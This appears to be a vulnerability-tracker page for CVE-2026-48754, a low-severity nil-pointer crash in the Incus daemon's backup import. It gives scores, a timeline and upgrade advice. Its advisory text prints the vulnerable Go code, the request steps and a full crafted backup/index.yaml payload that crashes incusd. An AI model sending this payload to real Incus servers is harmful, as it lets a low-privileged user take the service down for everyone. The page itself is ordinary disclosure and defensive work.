CVE-2026-48754VulnerabilityPublished 26 Jun 2026

createDependentVolumesFromBackup · Incus: Nil-pointer dereference

Affects github.com/lxc/incus/v7/cmd/incusdSource GCVE Database

Mentioned vulnerabilities

CVE-2026-47753

Authoritative record:CVE-2026-48754· Low 2.1

Public exploit available · CVSS 2.1 Low : upgrade to 7.1.0 as a priority.

Data as of 26 Oct 2026, 14:05 UTC

CVSS 4.0 base score

2.1Low

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 31% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 7.1.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Base metrics

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: Low
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: Low
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Threat metrics

Exploit Maturity: POC

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: Low: The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
Exploit Maturity: POC: Based on threat intelligence sources each of the following must apply: · Proof-of-concept is publicly available · No knowledge of reported attempts to exploit this vulnerability · No knowledge of publicly available solutions used to simplify attempts to exploit the vulnerability

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 21 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by GitHub, Inc.
22 May 202619:39 UTC, 91 days before disclosure
CVE published
on cve.org
21 Aug 202614:36 UTC, t = 0
CISA SSVC assessment
proof of concept public
26 Aug 202617:25 UTC, 5 days after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0.

Affected software

Product	Affected	Fixed in
Gogithub.com/lxc/incus/v7/cmd/incusd	Affected <7.1.0	Fixed in 7.1.0

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Description

## Summary `(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`). This is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` ("Properly check dependent volumes on import"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked. ## Vulnerable code [`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412): ```go func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error { ... for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { // ← d768f81 parent fix return errors.New("Bad dependent volume definition found in index") } ... snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil } bInfo := backup.Info{ Project: disk.Volume.Project, // ← disk.Volume may be nil Name: disk.Volume.Name, Backend: disk.Pool.Driver, // ← disk.Pool may be nil Pool: disk.Pool.Name, ... } ... devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name) ... } } ``` `disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each. The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant. ## Reach 1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. 2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry. 4. Chain: `instancesPost` -> `createFromBackup:854` (Container guard passes) -> `pool.CreateInstanceFromBackup` -> `backend.go:782 b.createDependentVolumesFromBackup` -> `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element. 5. `incusd` dies. Persistent DoS on repeat. Minimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC): ```yaml name: poc-inst backend: dir pool: default type: container optimized: false optimized_header: false snapshots: [] config: container: name: poc-inst architecture: x86_64 type: container profiles: ["default"] config: {} devices: {} expanded_devices: depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data} expanded_config: {} dependent_volumes: - volume: {name: depvol, type: custom, content_type: filesystem, config: {}} pool: {name: default, driver: dir, config: {}} volume_snapshots: - ~ # explicit null entry → snap.Name at 9374 panics ``` (The container block must declare at least one device with `type: disk`, `dependent: "true"`, `pool != ""`, `path != "/"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.) An equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead. ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`. Tested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool. ```bash $ curl -s --unix-socket /var/lib/incus/unix.socket -

CWE-476NULL Pointer Dereference (opens in a new tab)
Base weaknessLikelihood of exploit: MediumCWE Top 25 (2025): #13OWASP Top 10 A10:2025: Mishandling of Exceptional Conditions (opens in a new tab)
The product dereferences a pointer that it expects to be valid but is NULL.
Implementation
For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished.
Requirements
Select a programming language that is not susceptible to these issues.
Implementation
Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
OWASP Cheat Sheets
Logging (opens in a new tab)
Error Handling (opens in a new tab)
OWASP ASVS 4.0.3
V11.1.7 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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What to do

Affected software

Description

WeaknessesCWE-476

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